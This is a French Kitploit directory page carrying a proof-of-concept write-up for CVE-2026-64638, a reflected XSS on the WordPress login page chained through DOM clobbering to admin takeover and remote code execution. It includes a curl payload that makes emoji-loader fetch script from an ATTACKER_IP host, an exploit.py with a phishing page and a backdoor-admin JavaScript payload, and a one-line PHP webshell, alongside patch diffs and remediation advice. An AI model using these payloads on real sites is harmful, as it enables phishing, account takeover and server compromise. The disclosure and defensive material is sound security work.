Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-64638 — Exploit de preuve de concept pour CVE-2026-64638 : XSS réfléchi dans la connexion WordPress, chaîné à du DOM clobbering pour parvenir à la prise de contrôle d'un compte administrateur et à l'exécution de code à distance. | Kitploit
Outils/GitHubGitHub/dungsocool/cve-2026-64638
Outils de PhishingAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité WebDéveloppement de Charges Utiles
GitHubdungsocool/cve-2026-64638

CVE-2026-64638

Exploit de preuve de concept pour CVE-2026-64638 : XSS réfléchi dans la connexion WordPress, chaîné à du DOM clobbering pour parvenir à la prise de contrôle d'un compte administrateur et à l'exécution de code à distance.

Voir le dépôt
8il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-64638

XSS réfléchi sur l'écran de connexion menant à l'exécution de code PHP — WordPress Core

Logiciel : WordPress Core ≤ 7.0.2 (toutes les versions antérieures à 7.0.3)

CVSS : 8.9 (Élevé)

CWE : CWE-79 — Mauvaise neutralisation des entrées lors de la génération de pages web

Authentification requise : Aucune (pré-auth)

Interaction utilisateur : Active (l'admin doit cliquer sur 1 lien)

Impact : XSS → prise de contrôle du compte → exécution de code à distance


1. Quelle est cette vulnérabilité ?

WordPress est le système de gestion de contenu le plus populaire au monde, représentant plus de 40 % de tous les sites web sur Internet. Chaque site WordPress possède une page de connexion à /wp-login.php — c'est un point d'accès public que n'importe qui peut consulter sans authentification.

Lorsqu'un utilisateur saisit un nom d'utilisateur incorrect, WordPress affiche un message d'erreur contenant exactement le nom d'utilisateur qu'il vient de taper : « Le nom d'utilisateur X n'est pas enregistré sur ce site. » Le problème réside dans le fait que la valeur du nom d'utilisateur est placée directement dans la réponse HTML sans passer par aucune fonction d'échappement — un attaquant n'a qu'à saisir du HTML/JavaScript à la place d'un vrai nom d'utilisateur, et le code sera exécuté dans le navigateur.

Il s'agit d'une faille de type XSS réfléchi — la charge utile est contenue dans la requête et renvoyée à l'identique par le serveur dans le HTML. Ce qui la rend dangereuse, c'est que la faille se trouve sur la page de connexion — un endroit fréquemment consulté par les admins, où les cookies de session admin peuvent être volés.

L'équipe de recherche a également découvert que ce XSS peut être chaîné avec une vulnérabilité de DOM clobbering dans l'emoji-loader de WordPress, permettant de charger du JavaScript depuis un serveur externe. À partir de là, un attaquant peut créer un nouveau compte admin → installer une extension contenant un webshell → exécuter du code PHP sur le serveur. Cette chaîne d'exploitation est appelée XSS2Shell.

2. Explication de la terminologie

DOM Clobbering et emoji-loader

WordPress charge le support des émojis sur chaque page (y compris la page de connexion) via le fichier emoji-loader.js. Ce script lit la configuration à partir d'un élément possédant id="wp-emoji-settings" :

root@kitploit:~
// Before patch (vulnerable)
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

document.getElementById() renvoie le premier élément du DOM dont l'identifiant correspond. Si un attaquant injecte une <div id="wp-emoji-settings"> avant la balise script d'origine, getElementById lira le contenu de l'attaquant au lieu de la configuration réelle. Cette technique est appelée DOM clobbering — le fait d'écraser le comportement de JavaScript en injectant des éléments HTML.

La configuration des émojis contient une URL permettant de charger un fichier JavaScript (concatemoji). L'attaquant contrôle cette URL → charge un fichier JS depuis un serveur externe → exécute du code arbitraire dans le contexte du navigateur.

Du XSS au RCE sur WordPress

Une fois l'exécution de JavaScript dans le contexte admin obtenue, l'attaquant dispose de tous les privilèges admin de WordPress :

  1. Créer un nouveau compte admin — appeler /wp-admin/user-new.php avec la session admin
  2. Installer une extension contenant du code PHP — téléverser une extension via /wp-admin/plugin-install.php
  3. Modifier un fichier de thème — insérer une porte dérobée PHP via l'éditeur de thème

N'importe laquelle de ces 3 méthodes permet d'exécuter du code PHP sur le serveur — autrement dit un RCE.

3. Analyse du code source — cause racine

Étape 1 : localiser le sink — là où le nom d'utilisateur est placé dans le HTML

À partir du commit de correctif 0d6d42e sur wordpress-develop, j'ai identifié 3 emplacements dans le fichier wp-includes/user.php où le nom d'utilisateur/l'e-mail est placé directement dans le message d'erreur :

root@kitploit:~
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php

Emplacement 1 — ligne 189 (le nom d'utilisateur n'existe pas) :

Avant :

root@kitploit:~
// BEFORE (vulnerable):
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    $username      // ← no escaping
)

image.png

Après :

root@kitploit:~
// fixed:
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    esc_html( $username )    // ← escaped
)

Emplacement 2 — ligne 216 (mot de passe incorrect) :

Avant :

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $username . '</strong>'    // ← no escaping

Après :

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'

Emplacement 3 — ligne 299 (mot de passe incorrect pour l'e-mail) :

Avant :

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $email . '</strong>'    // ← no escaping

Après :

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'

Étape 2 : retracer la source — d'où proviennent les données ?

Flux de données de la requête POST au message d'erreur :

root@kitploit:~
$_POST['log']                           ← user input from login form
    ↓
wp_signon() [user.php:51]
    $credentials['user_login'] = wp_unslash($_POST['log'])     ← only removes backslashes
    ↓
wp_authenticate($username, $password) [pluggable.php:689]
    $username = sanitize_user($username)     ← strips HTML tags, but has a bypass
    ↓
wp_authenticate_username_password() [user.php:153]
    get_user_by('login', $username)          ← user not found
    ↓
    sprintf('The username <strong>%s</strong>...', $username)   ← XSS!
    ↓
WP_Error → login_header() → wp_admin_notice()
    wp_kses_post(...)     ← filters HTML but allows <div>, <a>,  through
    ↓
HTML response → browser render → JavaScript execute

Étape 3 : deux couches de défense, points faibles et confirmation par débogage

WordPress dispose de 2 couches de filtrage avant que le nom d'utilisateur n'atteigne le HTML :

Couche 1 : sanitize_user() — appelle strip_tags() pour supprimer les balises HTML. Cependant, strip_tags() de PHP a des limitations connues : un format de balise non standard peut contourner le filtre.

Couche 2 : wp_kses_post() — laisse passer un sous-ensemble sûr de HTML, notamment <div>, <a>, `` avec certains attributs (mais supprime les gestionnaires d'événements comme onerror, onload). Point crucial : wp_kses_post autorise <div id="wp-emoji-settings"> — précisément l'élément nécessaire pour le DOM clobbering.

L'équipe pwn.ai a trouvé un moyen de contourner les deux couches pour injecter une charge utile exploitable. Les détails techniques précis n'ont pas été divulgués publiquement.

Débogage avec Xdebug — confirmation du flux de données

Pour confirmer visuellement que le nom d'utilisateur va directement dans le HTML sans échappement, j'ai utilisé Xdebug + VS Code pour placer des points d'arrêt aux endroits clés de la chaîne d'exécution.

Étape 1 — saisir la charge utile XSS dans le formulaire de connexion :

Accéder à http://localhost:8282/wp-login.php, saisir `` comme nom d'utilisateur puis cliquer sur Log In. Une popup d'alerte apparaît — le XSS fonctionne.

image.png

image.png

Étape 2 — point d'arrêt à user.php:184 — là où le XSS se produit :

Placer un point d'arrêt à return new WP_Error(...) dans la fonction wp_authenticate_username_password(). Lorsque le débogueur s'arrête, observer :

  • Panneau Variables → Locals : $username = "" — charge utile HTML intacte, non échappée
  • Panneau Superglobals → $_POST : log = "" — confirme que la charge utile provient de la saisie du formulaire
  • Panneau Call Stack : wp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php

image.png

La valeur $username passe de $_POST['log'] → wp_unslash() → (contourne sanitize_user) → sprintf() dans le message d'erreur aux lignes 186-189 — aucun esc_html() entre les deux. En laboratoire, sanitize_user() a été commenté pour simuler le contournement découvert par pwn.ai.

Étape 3 — point d'arrêt à functions.php:9200 — sortie finale :

Placer un point d'arrêt à echo wp_get_admin_notice( $message, $args ) — c'est la dernière ligne avant que le HTML ne soit envoyé au navigateur :

  • Panneau Variables → Locals : $message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — la charge utile reste intacte dans le message d'erreur HTML
  • La ligne 9200 en laboratoire n'est pas enveloppée par wp_kses_post() (retirée par correctif pour simuler le contournement), donc la charge utile va directement au navigateur

image.png

Dans WordPress d'origine, cette ligne est echo wp_kses_post( wp_get_admin_notice(...) ) — wp_kses_post() supprimera l'attribut onerror mais laissera passer <div id="wp-emoji-settings"> car <div> est dans la liste blanche. C'est exactement le vecteur de l'attaque par DOM clobbering.

Étape 4 : deuxième commit de correctif — durcissement d'emoji-loader

Le commit a12c8f5 modifie emoji-loader.js pour bloquer le DOM clobbering :

root@kitploit:~
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
    throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);

Le correctif change 3 choses :

  1. Utilise querySelector('script#...') au lieu de getElementById — ne correspond qu'aux balises <script>
  2. Vérifie instanceof HTMLScriptElement — empêche le DOM clobbering via <div> ou ``
  3. Utilise .text au lieu de .textContent — .text est une propriété spécifique de HTMLScriptElement

Après le correctif, même si un attaquant parvient à injecter <div id="wp-emoji-settings">, emoji-loader l'ignorera car ce n'est pas un élément <script>.

4. Chaîne d'attaque — XSS2Shell

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  ATTACKER                                                       │
│  Creates phishing link containing XSS payload                   │
│  POST /wp-login.php with log=<div id="wp-emoji-settings">       │
│  {"source":{"concatemoji":"https://evil.com/rce.js"}}           │
└────────────────────────┬────────────────────────────────────────┘
                         │ Sends link to admin (email, chat, etc.)
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ADMIN CLICKS LINK                                              │
│  Browser POSTs to /wp-login.php → server reflects payload       │
│  → <div id="wp-emoji-settings"> appears in HTML                 │
└────────────────────────┬────────────────────────────────────────┘
                         │ emoji-loader.js executes
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  DOM CLOBBERING                                                 │
│  getElementById('wp-emoji-settings') → returns attacker div     │
│  JSON.parse(div.textContent) → reads fake configuration         │
│  Loads script from https://evil.com/rce.js                      │
└────────────────────────┬────────────────────────────────────────┘
                         │ JS executes in admin context
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ACCOUNT TAKEOVER + RCE                                         │
│  1. Fetch /wp-admin/user-new.php → get nonce                    │
│  2. POST create new admin account (backdoor)                    │
│  3. Login using backdoor account                                │
│  4. Install plugin containing PHP webshell                      │
│  5. Call webshell → RCE on server                               │
└─────────────────────────────────────────────────────────────────┘

5. POC — reproduction en laboratoire

5.1 Vérifier le point d'accès — XSS de base

Accéder à http://localhost:8282/wp-login.php, saisir :

  • Nom d'utilisateur : ``
  • Mot de passe : arbitraire

Cliquer sur Log In. Si une popup d'alerte affichant « localhost » apparaît → le XSS fonctionne.

Résultat — charge utile reflétée intacte dans le HTML :

image.png

5.2 DOM Clobbering — injecter de faux paramètres d'émojis

Charge utile plus complexe — injecter une <div> avec id="wp-emoji-settings" contenant un JSON pointant vers le fichier JS de l'attaquant :

image.png

root@kitploit:~
# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'

curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
  --data-urlencode "log=${PAYLOAD}" \
  -d '&pwd=test&wp-submit=Log+In&testcookie=1' \
  | grep "wp-emoji-settings"

Si la sortie HTML contient <div id="wp-emoji-settings"> avec le JSON de l'attaquant → emoji-loader chargera le JS depuis le serveur de l'attaquant.

5.3 Chaîne complète — XSS2Shell avec exploit.py

Étape 1 : lancer le serveur d'exploitation

root@kitploit:~
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999

Le script exploit.py sert 2 choses :

  • http://127.0.0.1:9999/phish.html — page de phishing imitant une mise à jour de sécurité WordPress
  • http://127.0.0.1:9999/evil.js — charge utile JS créant un compte admin porte dérobée

Étape 2 : l'admin clique sur le lien de phishing

L'attaquant envoie le lien http://127.0.0.1:9999/phish.html à l'admin par e-mail/chat. Lorsque l'admin clique :

  1. La page de phishing envoie automatiquement une requête POST à /wp-login.php avec un nom d'utilisateur contenant la charge utile XSS
  2. La page de connexion est rendue → <div id="wp-emoji-settings"> apparaît dans le HTML
  3. emoji-loader.js lit la fausse div → charge evil.js depuis le serveur de l'attaquant
  4. evil.js s'exécute dans le navigateur de l'admin → récupère /wp-admin/user-new.php pour obtenir le nonce → crée le compte backdoor_xss2shell / Pwn3d!XSS2Shell

image.png

L'ensemble du processus s'effectue automatiquement ; l'admin ne voit que la page de connexion normale avec l'erreur « nom d'utilisateur introuvable ».

Étape 3 : l'attaquant se connecte et téléverse un webshell

En laboratoire, l'admin était déjà connecté avec admin / admin123, donc evil.js s'est exécuté immédiatement. Après avoir obtenu l'accès au compte, j'ai immédiatement téléversé un webshell via une extension :

image.png

root@kitploit:~
<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

Étape 4 : RCE — exécuter des commandes sur le serveur

image.png

image.png

La sortie a renvoyé www-data — l'attaquant dispose désormais de privilèges d'exécution de commandes sur le serveur.

6. Sévérité et impact

Impact dans le monde réel

  • Affecte toutes les versions de WordPress antérieures à 7.0.3
  • Le point d'accès /wp-login.php est toujours public et ne peut pas être masqué (sauf en utilisant des extensions pour changer l'URL de connexion)
  • La page de connexion est une cible de phishing naturelle — les admins sont habitués à cliquer sur des liens vers des pages de connexion
  • La chaîne d'exploitation XSS → DOM Clobbering → prise de contrôle admin → RCE ne requiert aucune condition particulière en dehors d'un clic de l'admin
  • Même sans chaînage jusqu'au RCE, le XSS sur la page de connexion permet de voler les cookies de session (si HttpOnly n'est pas défini correctement) ou d'hameçonner des identifiants

7. Remédiation

Corrigé dans WordPress 7.0.3

Correctif 1 — échapper la sortie (user.php) :

root@kitploit:~
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )

Correctif 2 — durcir emoji-loader (emoji-loader.js) :

root@kitploit:~
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
    throw new Error('Element missing');
}

Correctif 3 — échapper l'URL (wp-login.php) :

root@kitploit:~
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )

Ce que les admins WordPress devraient faire

  1. Mettre à jour vers WordPress 7.0.3 immédiatement — correctif publié le 08/06/2026
  2. Si vous utilisez une version plus ancienne (6.x, 5.x, 4.7+), WordPress a backporté le correctif
  3. Vérifiez les journaux d'accès : recherchez les requêtes POST vers /wp-login.php avec une charge utile HTML dans le paramètre log
  4. Envisagez d'utiliser des règles WAF pour bloquer les balises HTML dans les champs du formulaire de connexion
  5. Examinez la liste des utilisateurs admin — si des comptes inconnus sont trouvés, le site a peut-être été compromis

Leçons pour les développeurs

  1. Échappez toujours la sortie, ne vous fiez pas uniquement à l'assainissement de l'entrée. sanitize_user() est conçu pour normaliser les noms d'utilisateur, pas pour empêcher les XSS. Défense en profondeur : l'échappement au point de sortie (esc_html, esc_attr, esc_url) est la couche de défense finale et la plus critique.
  2. N'utilisez pas getElementById pour des données sensibles à la sécurité. Le DOM clobbering peut injecter un faux élément avec le même id. Utilisez querySelector avec un nom de balise spécifique et une vérification instanceof.
  3. wp_kses_post n'est pas un filtre XSS. Il est conçu pour autoriser du HTML sûr dans le contenu des publications — pas pour bloquer les XSS dans d'autres contextes. Chaque contexte nécessite sa fonction d'échappement dédiée.
Télécharger l’outil
AttributValeur
ID CVECVE-2026-64638
Score CVSS8.9 (Élevé)
LogicielWordPress Core ≤ 7.0.2
AuthentificationAucune requise (pré-auth)
Interaction utilisateurNécessite 1 clic (l'admin clique sur le lien)
Complexité d'attaqueÉlevée
CorrectifWordPress 7.0.3 (08/06/2026)
Rapporteuréquipe pwn.ai via HackerOne
Rapport HackerOne#3877102
Métrique CVSSValeurRaison
Vecteur d'attaqueRéseauVia HTTP, en envoyant le lien à la victime
Complexité d'attaqueÉlevéeNécessite de contourner sanitize_user() + wp_kses_post(), nécessite un clic de la victime
Privilèges requisAucunLe point d'accès de connexion ne requiert aucune authentification
Interaction utilisateurActiveL'admin doit cliquer sur le lien de phishing
ConfidentialitéÉlevéeLecture des cookies, de la session, du contenu du panneau d'administration
IntégritéÉlevéeCréation d'un compte admin, installation d'extension, modification de fichiers
DisponibilitéÉlevéeRCE → contrôle total du serveur